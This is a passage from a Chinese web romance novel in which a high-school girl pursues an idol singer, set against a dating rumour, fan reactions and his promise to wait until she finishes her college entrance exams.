裴祉嫄整理了一下情绪，终于抬头看向裴珉承，“我知道你觉得我对你的喜欢来得莫名其妙的，你需要我对你表白吗？”
“不……”
“我喜欢你。”
“……”
裴祉嫄的心跳得很快，现在的脑子像是面粉加了水，活脱脱一团浆糊，她只能顺从本心去说一些原本没打算说的话。
“反正你要是不喜欢我你就不要对我好，不要送我礼物，不要关心我，也不要理我。”
“你是在同情心泛滥吗？”裴祉嫄问：“为什么？觉得我没有爸妈陪伴很可怜？同情我可怜我吗？”
“我不用你的同情
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和可怜，”裴祉嫄根本没打算给他回复的机会，可能是怕又听到拒绝的话，她利落地起身，留下了最后一句不知道是气还是真心的话，“你要是不喜欢我就远离我，哦，还有请直接告诉我，我好去找下一个目标。”
“……”
逃也似的从那个温暖的房子跑出来，裴祉嫄靠在门口平息了一下因情绪激动而有些急的气息。
然后在外面晃荡了一会儿，确保自己看不出来不对劲后才回到家里。
一回到家裴祉嫄就把自己锁进了房间里闷头入睡。
第二天，得知她跑到这里，岑芮两人也都干脆一路来到了这。
裴祉嫄和爸妈待了一会儿就被叫走了。
岑芮见状忍不住多关注了一下，看她直接走了出去，连忙伸手捅了捅裴才英的手，“你说她这是哪去啊？”
她身边身形高大，脸颊微微发福的中年男人神情不变，语气淡然地安抚：“女儿都这么大了，交朋友是她的自由，你管她和谁玩，去哪玩。”
“那要是恋爱……”
裴才英打断，“恋爱就恋爱，她都成年了，不算早恋。不要那么封建嘛，现在是自由恋爱的年代了。”
岑芮看着一副什么都无所谓的男人啧了一声，“好像我很迂腐似的。”
她还不知道恋爱自由吗，但是前段时间发生的事让她心里有种不太好的预感，恋爱和谁都可以，可千万不要是他。
“不要是谁？”
听到裴才英的问话，岑芮才发现自己无意识间把心里话说了出来。
她摇摇头，不想跟这个说什么都觉得不错很好的男人交流。
裴才英也没追问。
反正恋爱不犯法，怎么都好。
对父母的想法一无所知的裴祉嫄按着手机上的定位到达了一家餐厅。
徐寅河是外地人，今天由于是除夕，所以他有一天的休息时间，又不能回家，其他人都回家了，他不好意思跟着去，就只好找裴祉嫄这个老朋友了。
裴祉嫄皱着眉头给徐寅河拨去电话，铃声只响了几声就接通了，听筒里传来他傻乎乎的问好声，“你来了吗裴祉嫄。”
“你先退了出来。”
说完裴祉嫄就挂断了电话。
几分钟后，一道穿着奶黄色羽绒服的身影就走了出来。
裴祉嫄被闪得眼前一黑。
虽然她很吐槽他的幼稚穿搭，但是俗话说得好，时尚的完成度是靠脸的，顶着那张脸她也说不出违心的话，最后只好不忍直视地转头。
“你叫我出来干嘛？不喜欢吃这家？那我重新找一家？”
徐寅河很傻白甜地问她。
“笨，带你回家吃。”
徐寅河感动得快扒上去了，“呜呜呜谢谢姐姐。”
“请滚谢谢。”
由于裴祉嫄休学了一年，所以比班上很多人都大，徐寅河虽然平时很靠谱，但是比她还小一岁。
他哪儿都好，就是老一激动就喊姐。
裴祉嫄领着个无家可归的人回去，两个人在半路还偷偷买了零食。
当然，其中的一大部分都进入了裴祉嫄的肚子，徐寅河不怎么吃这些高热量高碳水的食物。
两个人并肩而行，边吃边聊，没有注意到有一道身影跟在他们身后。
12. 第十二章
所以说人不要太早的做出承诺，裴珉承现在对这句话有了深刻的认知。
收到消息后他犹豫了十几分钟才又重新拿起手机回消息。
Hfueiwndni：作业做完了吗你。
此时裴祉嫄正在看群消息，郁渺一个人在刷屏。
鱼苗：[视频]
鱼苗：[语音]
鱼苗：[图片]
照片是一堆人。
裴祉嫄不明所以地点开语音，听见郁渺说：“我终于要去见我爱豆啦！”
“……”
然后她点开视频，是照片的动图版，不过这次裴祉嫄看清楚了，郁渺手里拿着应援棒和手幅。
YuAn：挺忙啊大明星。
收到消息时裴珉承正在化妆，他只是看了一眼就把手机收了起来。
裴祉嫄也没指望这个时候还能有回复，她从群里郁渺发的消息来看理清了这是什么情况。
ERATH已经大半年没有回归了，上次的正式舞台也是在年末，距今已经两个月的时间了，这次的活动只是一场时长两小时出头的fm。
ERATH是很少开签售的一个团，早期每年都会巡演，但近几年巡演频率减少了很多，甚至连回归都是一年就一次的程度，行程都逐渐变成了以个人为主，所以很久没有的全员活动让粉丝们都很激动。
加上是在放假期间，很多学生党也都抽得出时间去。
值得注意的是，这场fm是免费举行的。
网上早早就有了消息，只是裴祉嫄没去搜就不知道，对于裴珉承还有空跑来过年这件事稍微有点愧疚。
根本不敢再打扰。
她对什么见面会的都不感兴趣，正好天也暗了，在群里恭喜了一下郁渺，就和姜烟澜一起出去吃饭了。
晚上回来以后两个人终于静下了心，专心把注意力集中到学习上。
时间一晃而过，裴祉嫄忙着学习的时候也没忘了时不时地去骚扰一下裴珉承。
都没得到什么想要的回复就是了。
裴珉承宁愿很认真地发很多话拒绝她也不愿意敷衍她一下，热脸贴冷屁股好几天后，裴祉嫄开始有点泄气了。
后面就没有再找过裴祉嫄，裴珉承以为她放弃了，自然也没有主动给她发过消息。
两个人就这样在彼此的联络人界面躺列。
直到快开学的那两天，网上突然爆出了裴珉承的恋爱绯闻。
裴珉承出道以来就没有传过任何绯闻，虽然有人骂他别的，但唯独这点是从来没有人诟病的。
郁渺在群里骂骂咧咧，气得下一秒就要去把女方抓出来打一顿的架势。
郁渺：什么热度都敢蹭她是真的想被骂。
下面附上了一条帖子。
裴祉嫄点进链接，发现热搜之下几分钟之内已经有了二十万加的评论，并且讨论度还在飞速上升。
评论区前排都是澄清贴，除此之外，看热闹的路人和跟着加入搅局的别家粉也占据了不少楼层。
被爆的女方据说是一名舞者，因为和多位爱豆有过合作而小有名气，和裴珉承据说就是因为合作而生情的。
值得一提的是，她的名气都是靠和合作的爱豆炒出来的。
营销号配的图有两个人共进晚餐的，也有并肩散步的，甚至还有到女方家门口的，无一不是举止亲密的。
那个女生很漂亮，长相落落大方，重点是她一点都不幼稚，看起来就会是很多人喜欢的样子。
其实裴祉嫄不是很相信这些图片，她人比较固执，认识一个人以后就不会轻易去怀疑这个人的人品，除非他亲口承认，不然不管别人怎么说都不会信的。
但她还是难过。
不仅是为他被造谣而难过。
还因为她突然发现两个人的距离太远了，如果不是她爸妈的原因，如果她没有去公司和他遇见，那他们这辈子都不会有认识的可能。
就像他说的那样，对他而言她好像确实不成熟，爱哭又幼稚，他喜欢谁都不会喜欢她这样的吧？
郁渺说自己要去评论区和他们一决高下之后就消失了。
裴祉嫄握着手机没说话，见状，姜烟澜凑过来安慰：“这不一定是真的，你别伤心了。”
“管他是不是真的，跟我又没关系。”
姜烟澜抱了抱她，没再说话。
事件随着时间的流逝而发酵，裴珉承和公司的不回应让不少人都丧失了信心，脱粉投稿的帖子接都接不过来，脱粉时还不忘趁机踩一脚裴珉承。
一时间颇有一种墙倒众人推的感觉。
往日里好评众多的人也开始有无数黑他的帖子了。
裴祉嫄觉得有一点伤心。
明明春天都要来了。
开学后郁渺也沉默了很多，她义愤填膺地和几个人聊了一次，但是三个人都对娱乐圈不太了解，哪怕是稍微感点兴趣的裴祉嫄也搞不太懂。
郁渺发现她们都一头雾水也听不太懂，就不再为难她们了，每天忙着和网友大战。
“渺，你不是说不介意他谈恋爱吗？”
四个人从高一就是舍友，高一那会儿郁渺就说过她不在乎裴珉承的情感问题，只要他舞台实力过关，脸和身材不要变就会一直粉。
没有想到自己说的话还被记着，郁渺叹了口气，她是不在意裴珉承和谁谈恋爱，她不是梦女粉，也不是女友粉，只是慕强批纯舞台粉，但是不代表她可以接受有对方是个到处蹭人热度的。
裴珉承一直的冷处理让她都开始不自信了，不知道这算不算是默认的一种方式。
托裴珉承的福，她们都没有什么处理绯闻事件的经验，虽然第一时间澄清了，也没有阻止得了大规模的脱粉。
当然，也还有很多理智粉选择相信。
甚至还有的粉丝已经说服自己接受了，恋爱也行，对方不作就好。
可是她们就是觉得作为当事人不管谈不谈都得出来回应一下。
对此，有粉丝表示公司限制了他的发言，也有人说他就是默认了，公司根本管不了艺人。
作为粉丝现在能做的就只有选择相信了，郁渺不想脱粉，除了粉太久真的有感情之外，还有一个原因就是很难再找到他的代餐。
“其实我们只是需要他的一个态度而已。”郁渺沉默了好久，才重新开口：“因为我们只是想听他说。”
剩下的人都互相看了一眼，厉念是看郁渺，姜烟澜则看向裴祉嫄。
裴祉嫄对此一无所知，她低头盯着手机发呆。
已经好长时间了，不知道他现在怎么样了。
裴祉嫄不敢给他发消息。
怕打扰他。
再次见到裴珉承是在二月底，距离绯闻事件已经过去了半个月的时间。
裴祉嫄在这段时间习惯了睡前刷一下消息，好不容易熬到了周末就没睡太早，然后手机上突然弹出来了一条“你关注的账号min正在直播”的消息。
为了关注到裴珉承的消息，裴祉嫄下载软件关注了他的账号。
看到这条消息的时候她脑子都还没反应过来手就先点了进去。
直播间因为人太多而变得很卡，裴祉嫄进去时只看到了裴珉承消瘦了不少的侧脸。
他只穿着一件黑色高领毛衣，黑色的头发长长了一点，刘海把眼睛都遮住了，地点是他自己家，直播画面很暗，只有不远处的落地灯传来的一点光。
直播间卡顿了一下，裴祉嫄戴上耳机的第一秒就听见了裴珉承在跟直播间的观众们打招呼的声音。
有一点沙哑，不知道说太多话还是太久没说话，又或者是生病还是什么的原因。
直播间的消息刷得飞快，裴祉嫄一条都没仔细看，视线全部放在了视频里的那个人身上。
裴珉承大概是上线
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来给大家报平安的，直播还没有十分钟就说要下播。
说完要走的话，裴珉承又没有离开。
他像是在决定些什么，最后说了一句：“如果以后我在感情上有什么进展的话，会告诉你们的，别担心。”
说完这句话不顾评论区激增的评论就下线了。
裴祉嫄正望着显示“直播已结束”的页面愣神，手机上突然弹出了刚刚结束直播的人发来的消息。
Hfueiwndni：睡了吗？
YuAn：睡了。
翻完消息裴祉嫄翻身平躺，把手机举到面前等回复，然而等到手软都没有收到消息。
被突然砸落的手机吓了一跳，裴祉嫄偏头避开手机，然后起身主动发去消息。
YuAn：你人呢？
Hfueiwndni：……你不是说睡了？
裴祉嫄一口气差点没上来。
YuAn：……你真烦人。
Hfueiwndni：嗯，需要给你降降火气吗？
裴祉嫄想到很久之前发的那条消息，有点尴尬地掐了一下手掌心，过了一会儿才问：那你准备怎么做？
下一秒一通视频就弹了过来，裴祉嫄慌了一下才想起来自己戴着耳机，她缩回被子里打了一行字：我舍友在睡觉。
Hfueiwndni：嗯。
视频依旧还没挂，裴祉嫄按下接通，发现他那里漆黑一片。
她想问点什么又怕吵到舍友，只好切回聊天框打道：要不你等等，我下去出个门。
Hfueiwndni：没事，就这样吧，不用说话。
裴祉嫄缩回了探出去的手，虽然快三月了，但是天气依旧很冷，晚上气温还是很低，如非必要她不是很想离开她温暖的被窝。
其实两个人的环境都是漆黑一片的，裴珉承那里亮着一盏小灯还能看到他的脸，裴祉嫄这边就是纯黑，只能看到一个轮廓。
两个人安静的对视了一会儿，裴珉承就主动挂掉了视频。
Hfueiwndni：还气吗？
YuAn：不知道你问的关于哪一个？
YuAn：是绯闻还是不理我的事？
YuAn：消气了，你要感谢你的脸。
裴祉嫄一口气发完了消息，根本等不及他回复。
Hfueiwndni：跟你道歉，两件事都。
裴祉嫄想问为什么需要跟她道歉，她又不是他粉丝，但是知道得不到想要的答案，也不敢自作多情，于是打了半天又把字全删了。
最后只发了三个字。
YuAn：你瘦了。
Hfueiwndni：嗯，所以有空的话，陪我吃顿饭吧。
YuAn：你现在不怕吗？
裴祉嫄是想说刚发生了这种事两个人还是不要见面的好，谁知等了半天，就等到他发过来一个“怕”字。
YuAn：？
Hfueiwndni：所以你陪陪我吧。
Hfueiwndni：我一个人好怕的。
虽然他疑似被什么鬼上身了，不过看在太久没见的份上裴祉嫄还是答应了。
如果她现在就想翻墙爬出去，但是被拒绝了。
YuAn：都怪你，我睡不着了。
Hfueiwndni：对不起。
Hfueiwndni：和我说说话吧。
说是要说话，两个人又打起了视频，裴祉嫄懒得打字也不想说话，就侧躺着看手机另一头的裴珉承又开始喝酒。
裴祉嫄在聊天框提醒他少喝，然后又说自己睡不着。
裴珉承在网上翻了一个故事书念给她听，不知道是他的声音催眠还是白天太累，故事都没听完她就睡着了。
裴珉承喊了她一声确定她睡着了之后就把视频挂断了。
“晚安，明天见。”
13. 第十三章
第二天一早裴祉嫄就起床了，因为其他人还在睡，尽管她的心里很急但还是尽量放轻了动作。
直到洗漱好后她回到宿舍碰见了起床的姜烟澜，“你要出门？”
裴祉嫄被吓了一跳差点就想叫出来了，伸手捂住嘴以后才小声开口：“嗯，我要回家一趟。”
“哦，好，拜拜，你路上慢点哦。”
以前她也会在周末回家，姜烟澜打了个哈欠后躺回了床上。
和姜烟澜告别后裴祉嫄在校门口打了一辆车，在路上还没忘记报告进度。
YuAn：我来啦！
裴珉承发了个嗯，后面还没忘落下一个可爱的表情符号。
在裴祉嫄来的路上，裴珉承翻了一下两个人的聊天记录。
裴祉嫄好像有点亢奋了，早上一起床就给他发了一条“我起床了”的消息，后面还跟着几个感叹号。
然后从这里开始就做什么都会发一条消息。
比如，我去洗漱了，我洗漱好了之类的话。
其实裴珉承不怎么习惯别人什么都要和他报备，但是是裴祉嫄的话，毕竟她年纪小，好像就不觉得有什么了。
他习惯简洁地回话，很少和人说话，有什么急事都是打电话说，妹妹也常常说和他聊天真是一句都聊不下去。
裴祉嫄倒是很能坚持，就算他发的消息都显得很没有热情，她也只会生完气又冲上来。
性格真的很好。
裴珉承昨晚难得睡了个好觉，不知道是酒精还是什么别的原因。
在等她来的路上，裴珉承煮了一点粥，怕她来太急了没吃东西。
半个小时后，裴祉嫄就敲响了裴珉承的家门。
这里是位于北宁路的一处居所，裴祉嫄不知道是他新找的还是以前就有的，门一开就说：“哇你这房子多得，还真有那么一点冯谖三窟的意思了。”
裴珉承无奈地笑笑：“那怎么办，总是有暴露的风险啊。”
裴祉嫄一进去就闻到了好闻的味道，毫不客气地过去坐下：“哇我真的饿死了。”
裴珉承觉得她像是一只蝴蝶。
裴祉嫄今天穿了嫩黄色的毛衣，长长的头发扎成了两个辫子，青春耀眼，和朝阳一样的富有朝气。
她坐在那里，于是四周的雪都消融了。
等待了很久的春天，好像来了。
裴祉嫄吃东西的时候很专注，根本没有管他在干什么，自顾自的吃完后才发现裴珉承在一旁看她。
迟来的不好意思让她脸都开始发烫，她尽量自然地走过去坐下，“这段时间跑哪里去了呀你。”
“就处理了一些事。”
裴祉嫄见他不想多说，就没再继续问下去。
彼此沉默了一会儿，裴祉嫄开口说道：“你是不是觉得我很幼稚？”
“你年纪小幼稚也没关系。”
裴祉嫄听完又低下头开始扣手心，她有点伤心，可是好像确实没办法改变自己，早上来的时候她还纠结过要不要换个成熟一点的风格。
最后觉得那样实在太不是自己的穿搭风格而放弃了。
裴珉承抬手摸了一下她的头发，说：“你不要胡思乱想。”
“你哪只眼睛看到我在瞎想了？”裴祉嫄先是下意识地反驳，而后又把抬起来的头垂下去，声音很小地继续问道：“你是不是觉得我很幼稚？”
耳畔传来了裴珉承的闷笑声，裴祉嫄转头看去，就看他把头也扭到一边。
“所以你就是嫌我幼稚。”
裴祉嫄气急败坏地挪远了一点，真的只有一点，肉眼都不可见的那种。
裴珉承收了笑，回过头来看她：“没有啊。”
其实他还觉得她现在很可爱，但是想也知道说完她又会把距离拉远，虽然也不会真的离太远。
美色误人这四个字在眼前放大闪烁，裴祉嫄满脑子的气都散了，她很喜欢看他戴耳链的样子，所以总是忽略他的其他地方。
比如说，其实他的眼睛也很漂亮。
眼睛下面的那颗痣也好看。
啊对了，裴祉嫄突然想起来之前不小心看到的，他颈侧那颗痣也好看。
裴祉嫄四处扫了一圈，发现这个人好像哪里都很让人喜欢，实在挑不出什么不好的地方。
越想越对自己无语，裴祉嫄干脆不说话了。
“别生气了。”
一只干净的手伸过来戳了戳她的手臂。
裴祉嫄低头一看，发现手也好看，然后更气了。
这世界上怎么会有一个人让人觉得哪里都好呢，裴祉嫄觉得自己好像被下蛊了，他一靠近，心脏都在不正常地跳。
“离远点。”
“这么生气？”
“不是，”裴祉嫄瞪了裴珉承一眼，“心跳太快了。”
裴珉承果然听话地停下了动作，裴祉嫄又不开心了，她靠近了一点，继续固执地问：“你到底……”
“我不会喜欢其他人。”
好像知道她要问什么，裴珉承率先打断了她的话。
裴祉嫄的脑袋还没开始变迷糊，就听裴珉承继续说：“你也是其他人。”
“你很烦。”
“先好好读书吧，我不和高中生谈恋爱。”
裴祉嫄不满，“可是我快高考了。”
“对呀，”裴珉承点点头，“所以你先高考吧，这么重要的时刻不要只想着谈恋爱。”
“那意思是大学就能谈？”
“你先上大学再说吧，”裴珉承笑，“万一你只想着谈恋爱不好好学习上不了大学怎么办？”
裴祉嫄不知道自己是不是脑抽，听完这句话下意识地问了一句，“你学历歧视？”
“你造谣我，我要告你。”
“……”好幼稚。
裴祉嫄还是不放心，“那你到底觉不觉得我幼稚啊？”
“不许笑！”
裴珉承这次没有笑，神情认真地说：“你做自己就好，不要为了别人改变自己，任何人都不值得。”
“可是……”
“裴祉嫄，”裴珉承喊了她一声，打断了她的话，“你可以改变自己，但是理由不能是别人，只能是你自己。”
说到这里，裴珉承叹了口气，“幼稚不是一件坏事，它是你这个年纪很珍贵的存在。”
裴祉嫄哦了一声，明显没认真听，裴珉承也没在意，只是继续说道：“我知道你想听我说什么，知道了，我等你，如果那个时候你还喜欢我的话。”
裴珉承不打算祸害一个高中生，这个年纪的孩子都太容易陷入莫名其妙的爱情了，可是实际上她可能连什么是爱都搞不明白。
他知道如果不给她一个答案她会一直固执的追问，会花费很多时间去思考，在即将高考的这个阶段，这些东西会浪费掉她的很多精力。
他知道她成绩很好，不希望她的未来因为他有出现偏移的可能性。
裴祉嫄问：“那以后还能联系吗？”
“我没有说要和你断绝来往。”
“哦。”
裴祉嫄点了点头表示自己明白了，再抬头时眼睛有点红，不知道想哭还是什么，声线都不稳：“我这个人最能坚持了，你等着。”
屁。
其实她做很多事都三分钟热度，就连古琴都是断断续续地弹。
但是喜欢裴珉承这件事，她不会放弃的。
人都有逆反心理，如果裴珉承轻而易举的就相信了她的喜欢，裴祉嫄说不定很快就放弃了。
毕竟现在浅显的喜欢还是可以及时止损的程度。
但是他这么说，她还非要坚持给他看了。
“知道了。”
这时候裴珉承倒是显得很淡定了。
裴祉嫄看他，“那万一我在大学有了更喜欢的人怎么办？”
“可是我觉得你不会。”
自恋。
裴祉嫄哼了一声站起身，“我要回学校了。”
“不准备留下来吃个饭什么的？”
“不，”裴祉嫄坚定拒绝，“我这不是得考大学，不努力一点怎么行。”
“哦，那加油吧高考生。”
裴珉承动都没动，靠在沙发上跟她挥手。
裴祉嫄现在觉得神清气爽，很想做一套卷子，也没在意他的态度，转身就走了。
她一出门裴珉承就打开了手机，几乎是在下一秒，裴祉嫄兴奋的声音就响了起来。
YuAn：我出门啦！
裴珉承怕她一路上都这样不太安全，于是索性拨通了电话。
“你干嘛？”
“怕你一出门就想我。”裴珉承说：“不要一直看手机，好好走路。”
“知道啦。”
一路上裴珉承都没怎么说话，听筒里只有裴祉嫄跟实时播报一样的声音在响。
为了安全，裴祉嫄还戴上了耳机，因为裴珉承不怎么说话，她走着走着就会停下来确定一下裴珉承有没有掉线。
裴珉承都一一回答了。
两个人就这样一路聊着走到了学校门口，裴祉嫄继续报备：“我到啦。”
“知道了祉嫄小导航，快回去写作业吧。”
“不要给我取外号啦。”裴祉嫄说完小声嘟囔了一句，“你像个复读机我都没说你。”
“听到啦。”
裴祉嫄也不心虚，听到就听到，“反正是你先开始的。”
“对不起。”
“原谅你啦。”
裴祉嫄迈步走进学校大门，听到裴珉承问她：“那我喊你什么？元元？”
“不可以。”
“为什么？你朋友和家人不都这么喊你吗？”
“反正就是不可以！”
这么羞耻的名字，听家人和朋友他们喊习惯还好，从他嘴里念出来显得十分奇怪，裴祉嫄有点名字羞耻症，根本不想别人喊自己。
“你要不还是喊我裴祉嫄吧……”
“行吧裴祉嫄。”
“……”
好冷漠无情的三个字。
裴祉嫄感觉有点心梗了。
但是这是自己要求的，没办法退。
两个人沉默了一下，裴珉承又说：“不满意？那小嫄总可以了吧？”
裴祉嫄不满意，但是总比叫全名好，于是只好含泪接受。
“好了，到学校就好好写作业不要分心，我要挂了。”
“知道啦。”
挂断电话后，裴祉嫄回到了宿舍。
一开门就看到了三人正挤着坐在一起。
“过来坐。”
姜烟澜拉着她的手，裴祉嫄顺势坐到了她的腿上，她看了一眼正在哐哐打字的郁渺，用眼神询问发生了什么。
姜烟澜把昨天晚上的直播页面给她看，裴祉嫄点点头表示明白了。
裴祉嫄凑过去看，郁渺太过专心，以至于她离得很近了才发现她回来了，“你回来了呀元元，我跟你说我现在正在网上骂人。”
“我就说了裴珉承不会谈恋爱不告诉粉丝吧，这群脱粉的现在打脸了吧？”郁渺一边跟她说话也没忘记敲键盘。
裴祉嫄和姜烟澜对视了一眼，不知道该不该说。
厉念注意到她俩莫名其妙的对视，头顶上冒出了一个问号。
姜烟澜掏出手机问：老实跟我说你今天去哪里了？
她醒来之后从郁渺处得知了昨天晚上裴珉承半夜开了直播，于是立马反应过来裴祉嫄的不对劲。
回个家而已，她什么时候回家还要精心扎个头发了。不过怕打扰她，姜烟澜还是忍住了好奇心。
YuAn：你真的好聪明啊姜姜。
YuAn：我找他了。
看她俩开始手机交流，厉念索性面对面建了个群然后给两人发过去，等两人投来疑惑的目光，厉念点头示意她们俩加入。
一个理念：说吧你们俩什么秘密啊还得私下交流。
一个理念：不过不好说也可以不说，我只是好奇，不一定非要说的。
四个人都是好朋友，如果是平时
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姜烟澜早就忍不住开口了，但这个事毕竟是事关裴珉承这个特殊的人，她只是看了一眼裴祉嫄，没有说话。
裴祉嫄也没继续藏着。
YuAn：其实，我和裴珉承认识。
怕她不理解，裴祉嫄稍微解释了一下。
YuAn：就是，私下认识的那种关系。
一个理念：姜姜你呢？
一桶姜山：我在元元家过年的时候见过，不认识。
裴祉嫄：……
下一秒钟，厉念就发了个哦，还是带波浪号的那种。
一个理念：原来这么亲密的关系。
一个理念：你们在谈恋爱？
YuAn：那可还没有。
可不是还嘛，裴祉嫄叹了口气。
YuAn：我要好好高考的。
一个理念：那有什么不好说的？
YuAn：我喜欢他。
说完三个人的群里沉默了一下，过了十秒钟，厉念把群解散了。
然后给她私发了一条消息：请吃饭吧你。
于是下午，裴祉嫄说要请客，宿舍四人组去到了食堂三楼。
学校一共有两个食堂，靠近教学楼的和靠近学生宿舍楼的，宿舍楼附近的食堂一楼卖饭，二楼卖面和粉，都是丰富菜品，难吃菜系，三楼则是各种火锅店。
只是平时大家根本没时间去，所以这里周末人才会稍微多一点，也正因为这样，三楼是周末时食堂唯一开放的区域。
一行四人点了一个干锅鸡，郁渺点完菜回来落下，哇了一声：“你今天怎么这么大方还请吃饭。”
“这不是打赌赌输了嘛。”
裴祉嫄内心忐忑，小声说道。
郁渺刚想问什么赌啊还要请客，然后突然想起了不知道多久以前的事，她看着裴祉嫄，眼睛像放慢动作似的，猛地睁大了。
厉念提前伸手捂住了她的嘴，以防她一个激动喊出来。
郁渺伸手扒下了厉念的手，面无表情地问：“所以你准备当我的同担？”
姜烟澜跟看戏似的在一旁撑着下巴补充：“她可能不想。”
“那……”
郁渺后面的问题没问出来，她脑子有点卡壳了。
等她缓了一下，然后说：“不是姐妹，你真喜欢上他了？”
裴祉嫄点点头。
“你两什么时候认识的？怎么认识的？你最好都给坦白交代，”郁渺严肃地咳了一下，“坦白从宽，抗拒从严。”
于是裴祉嫄只好把跟姜烟澜说的话又重复了一遍。
厉念在此之前也不知道她和裴珉承怎么认识的，听完两个人都愣在原地。
一时间，煮菜的声音成为了唯一的动静。
“回神了回神了。”
姜烟澜伸手在她们面前挥了一下。
“你还真是闷声干大事啊。”
厉念评价道。
“……”郁渺沉默了很久，裴祉嫄怕她生气，一边扣手一边小心地打量她的脸色，又过了好一会儿，剩下三人才听到她说：“你想我原谅你吗？”
“想。”
“那就帮我要个签名。”
裴祉嫄面色严肃地看着她，心里做好了各种准备，然后听到这句话的时候一口气差点没上去，“就这么简单？”
签名这种东西，不是很容易能得到吗？
她不太懂这些，但是签售会什么的，都不给签名吗？那为什么叫签售会啊？
“我要亲签，还要to签！”
裴祉嫄点点头表示明白了，然后在郁渺去拿饮料的时候给裴珉承发了一条消息：to签是什么？帮我签一个可以吗？
原谅她吧，对娱乐圈真的半点都不懂啊。
裴珉承只回了一个1。
对此裴祉嫄很熟悉，她们班主任就喜欢在问她问题的时候回一个1，裴祉嫄知道这是知道了的意思，于是把手机收了回去。
四个人吃完肉后又加了汤去煮火锅吃，从白天吃到傍晚，吃得都快撑吐了才离开。
为了消食四个人就顺道去了操场，这个时候的天气还不是很热，操场上有不少人正在跑步，也有人正拿着一本书看。
为了不挡路四人就两两一组，一开始确实是这样的，但裴祉嫄低头和裴珉承发消息，走着走着就掉队了。
姜烟澜也不好奇两个人聊什么，走上前去挽起厉念的手和她们并排走。
“元元呢？”
“后头呢，不管她。”
郁渺想扭头看一眼，被姜烟澜一句话劝退：“在和你担聊天，你最好别好奇聊了什么。”
“……”好奇怪的感觉啊，虽然她是真的不介意，但也是真的觉得很奇怪，郁渺沉默半天，说：“既然如此，希望她能早日追到我担。”
注意到厉念看过来的目光，郁渺解释道：“俗话说得好，肥水不流外人田嘛，他们俩在一起，反正我又不会受伤。”
“而且我有男朋友呀，”郁渺嘿嘿笑了一下，“朋友比爱豆重要，自己比爱豆重要，他谈恋爱无所谓，舞台实力不要下滑就行。”
郁渺和她男朋友是异地，她们三个也只见过他一次，平常是很没有存在感的一位，郁渺忙着追星，没空和他天天打电话。
不过他人还不错，虽然女朋友追星也不像别的男生那么在意，常常给郁渺寄礼物，还会给她送她没抢到的周边。
三个人的话题不知怎么拐到了男朋友了，姜烟澜跟听课似的听两位恋爱大师传授经验。
后头，裴祉嫄正在跟裴珉承说刚刚的事。
“你能帮我签个名吗所以。”
“知道了，明天来吧。”
敲定了时间以后裴祉嫄就挂断了电话，冲上去了挽住了姜烟澜的手，四个人在操场绕了好几圈才回去。
“明天给你要，你把卡给我吧。”
裴祉嫄也是才知道居然还要自己带卡。
“好，回宿舍给你！”
回到宿舍后裴祉嫄照例和裴珉承说了一声晚安才睡觉。
14. 过去
其实这则消息漏洞百出，裴祉嫄不会把他设置成置顶，酒吧也不会不打电话还要慢慢发消息。
但裴珉承还是忍不住担心。
她一个刚出学校的学生跑到酒吧去玩，很危险。
没过多久，社交平台上传来了裴珉承推迟直播的通知。
当然此时的她们并没有谁去注意。
毕竟是第一次来酒吧玩，四个人里还有三社牛，裴祉嫄起先不乐意喝酒，但也架不住她们太热情。
酒吧里的酒到底是不怎么好喝，裴祉嫄喝了几杯就放下了杯子，姜烟澜和厉念也只喝了几杯就挤到人群里玩了，郁渺喝得多了点，可能是第一次喝酒的缘故，当下就趴到了桌上。
“……”
裴祉嫄怕她一个人醉着在这里不好，于是只好坐在她身边看着她。
酒吧里声音比较大，她没发现自己身边的手机震动响铃很多次。
她们喝的酒度数有点高，裴祉嫄觉得在人群里待着脑袋都变疼了，起身挤到人群里把姜烟澜拉了出来。
“你看着渺，我头疼去洗手间一下。”
“我扶你吧。”不容她推拒，姜烟澜把厉念喊回来照顾郁渺，就扶着裴祉嫄走到了洗手间。
“你先回去，我有点难受想多待会儿。”
“好，那你注意点安全，待会打电话叫我啊。”
裴祉嫄点点头，把自己锁进了一间隔间里。
随着时间的流逝酒精好像融进了血液里，她现在感觉浑身都是烫的，头晕得像是里面有一团浆糊。
裴祉嫄在里面待了好一会儿才推开门，站在洗手池洗脸企图让自己清醒一点时却突然被人拽住了手。
她下意识挣扎起来却根本抵不过身后人的力气，抬头一看，镜子里印出来的人长得很像裴珉承。
可是她不知道这是酒精导致的还是真的，直到裴珉承按住她的手靠近她，“是我。”
浑身的力气都在那一瞬间散去，裴祉嫄软趴趴的身体被人接住。
出去的路上裴珉承一言不发，只是沉默地拉着她的手，裴祉嫄踉跄着跟在他身后，几度要摔倒。
然后一出门就被迎面而来的夜风吹得打了个喷嚏。
她迷糊的大脑还惦记着酒吧里未出来的好友，于是停在门口，不再走动。
见状裴珉承更生气了，冷着张脸质问她：“你还想回去玩？”
“……”裴祉嫄指了指在他手上的手机，“我朋友还在里面没出来。”
为了安全着想，最终裴祉嫄打了一通电话给自家司机拜托他来接人，又让裴珉承以她的口吻让她们三找个安静的地方等司机。
直到看到司机把三个人都带上车，裴珉承才说：“你玩够了？”
“……”
裴祉嫄喝得是多了点，虽然身体没力气但是脑子已经在晚风的吹拂下渐渐找回了一丝清醒。
她当然知道自己做错了，羞愧的心情使得她无法抬起自己的头颅，低着头轻声道歉：“对不起。”
裴珉承没看她，冷着脸坐在一旁。
让人窒息的安静空间内，只有裴祉嫄很轻的啜泣声。
事已至此，直播反正也进行不了了，裴珉承索性直接在平台上道了歉，并把时间改到了明天。
他一向不会把私人情绪带到工作上，本来也只是打算来看看情况，这是第一次为了别人耽搁工作。
他很生气。
裴祉嫄的哭泣声让他感觉心情更烦闷了。
但是他自己感受得到，烦闷不是因为生气，或者准确来说，不是单纯的因为生气。
裴祉嫄是一个对未来很迷茫的人，她爱哭也没有勇气，还幼稚，是一个缺点很多，缺乏社会经验的人。
成熟的人不会用幼稚的烂借口去试探别人。
所以他搞不懂的是，明明知道这件事百分之九十九都是假的，为什么自己要因为那百分之一的可能性来这里呢？
车内空间不大，他四处寻找着聚焦点，最后还是把目光放到了裴祉嫄身上。
其实仔细想来，她虽然幼稚，但也有很多优点。
毕竟人年轻，幼稚是她这个年纪应该有的。
她又不像他们十几岁要出来工作，很多事不动也是正常的。
裴珉承很快自我说服完毕，看着裴祉嫄灯光下闪着光的红头发叹了口气，随后伸出手抬起了她的下巴。
裴祉嫄的脸上布满了眼泪，眼睛都有点肿了，说不清楚那一刻心里是个什么心情，裴珉承只觉得心脏有点酸涩，然后他做出了连自己也意外的事。
